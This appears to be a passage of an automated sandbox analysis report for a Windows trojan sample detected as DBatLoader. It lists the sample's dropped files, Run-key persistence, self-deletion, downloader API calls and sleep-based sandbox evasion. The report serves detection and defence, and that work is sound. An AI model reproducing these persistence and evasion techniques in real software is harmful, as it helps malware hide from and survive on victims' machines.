Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: urlmon.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Static file information: File size 1139200 > 1048576

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Unpacked PE file: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.unpack

Yara detected DBatLoader

Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.a3f0d8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.3f60000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.a3f0d8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2511367079.0000000003F31000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2546304222.0000000003F91000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2272940789.0000000004021000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2678490823.0000000003F41000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2426493802.0000000004081000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2161341273.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2135408936.0000000000A3F000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_1603CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

0_2_1603CB50

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1602E47B push ss; ret	0_2_1602E47F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1607E54D push esi; ret	0_2_1607E556
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1602E09D push ss; ret	0_2_1602E0A1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1607B0A8 push ss; retf 0000h	0_2_1607B0AC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16077106 push ecx; ret	0_2_16077119
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1607B132 push esp; ret	0_2_1607B141
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16054E56 push ecx; ret	0_2_16054E69
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16080E70 push ss; retf 0000h	0_2_16080E74
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16080EFA push esp; ret	0_2_16080F09
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16080F0A pushad ; ret	0_2_16080F19
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16080F2A push esp; ret	0_2_16080F09
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16077A28 push eax; ret	0_2_16077A46
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1607CABE push ss; iretd	0_2_1607CAC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1607C97E push eax; retf	0_2_1607C981
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1607C986 pushad ; retf	0_2_1607C989
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1607C9A6 pushfd ; retf	0_2_1607C9A9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1607C9FE push ss; retf	0_2_1607CA00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F66374 push 03F663CFh; ret	0_2_03F663C7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F66372 push 03F663CFh; ret	0_2_03F663C7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F632F0 push eax; ret	0_2_03F6332C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F8A2F4 push 03F8A35Fh; ret	0_2_03F8A357
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F7D20C push ecx; mov dword ptr [esp], edx	0_2_03F7D211
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F8A1F8 push 03F8A288h; ret	0_2_03F8A280
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F8A144 push 03F8A1ECh; ret	0_2_03F8A1E4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F8A0AC push 03F8A125h; ret	0_2_03F8A11D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F73027 push 03F73075h; ret	0_2_03F7306D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F73028 push 03F73075h; ret	0_2_03F7306D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F66740 push 03F66782h; ret	0_2_03F6677A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F6673E push 03F66782h; ret	0_2_03F6677A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F6D55C push 03F6D588h; ret	0_2_03F6D580
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F6C528 push ecx; mov dword ptr [esp], edx	0_2_03F6C52D

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\extrac32.exe

File created: C:\Users\Public\Libraries\Tuscpznj.PIF

Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_16026EB0 ShellExecuteW,URLDownloadToFileW,

0_2_16026EB0

Source: C:\Windows\SysWOW64\extrac32.exe	File created: C:\Users\Public\Libraries\Tuscpznj.PIF			Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	File created: C:\Users\user\AppData\Local\Temp\Skype\adode.exe			Jump to dropped file

Boot Survival

Creates autostart registry keys with suspicious names

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Rmc-3N0E9G

Jump to behavior

Creates multiple autostart registry keys

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Tuscpznj			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Rmc-3N0E9G			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_1603AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

0_2_1603AA4A

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Tuscpznj	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Tuscpznj	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Rmc-3N0E9G	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Rmc-3N0E9G	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Rmc-3N0E9G	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Rmc-3N0E9G	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe

File deleted: c:\users\user\desktop\securiteinfo.com.trojan.siggen28.27399.23329.29047.exe

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

0_2_1603CB50

Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1602F7A7 Sleep,ExitProcess,	0_2_1602F7A7
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1575F7A7 Sleep,ExitProcess,	6_2_1575F7A7
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EBF7A7 Sleep,ExitProcess,	7_2_15EBF7A7

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,	0_2_1603A748
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,	6_2_1576A748
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,	7_2_15ECA748

Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Window / User API: threadDelayed 9165			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Window / User API: foregroundWindowGot 1750			Jump to behavior

Source: C:\Users\Public\Libraries\Tuscpznj.PIF

Evaded block: after key decision

graph_6-61880

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	API coverage: 8.5 %
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	API coverage: 2.3 %
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	API coverage: 3.5 %

Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe TID: 6944	Thread sleep time: -35000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe TID: 5904	Thread sleep time: -957000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe TID: 5776	Thread sleep time: -37800000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe TID: 5904	Thread sleep time: -27495000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16029665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	0_2_16029665
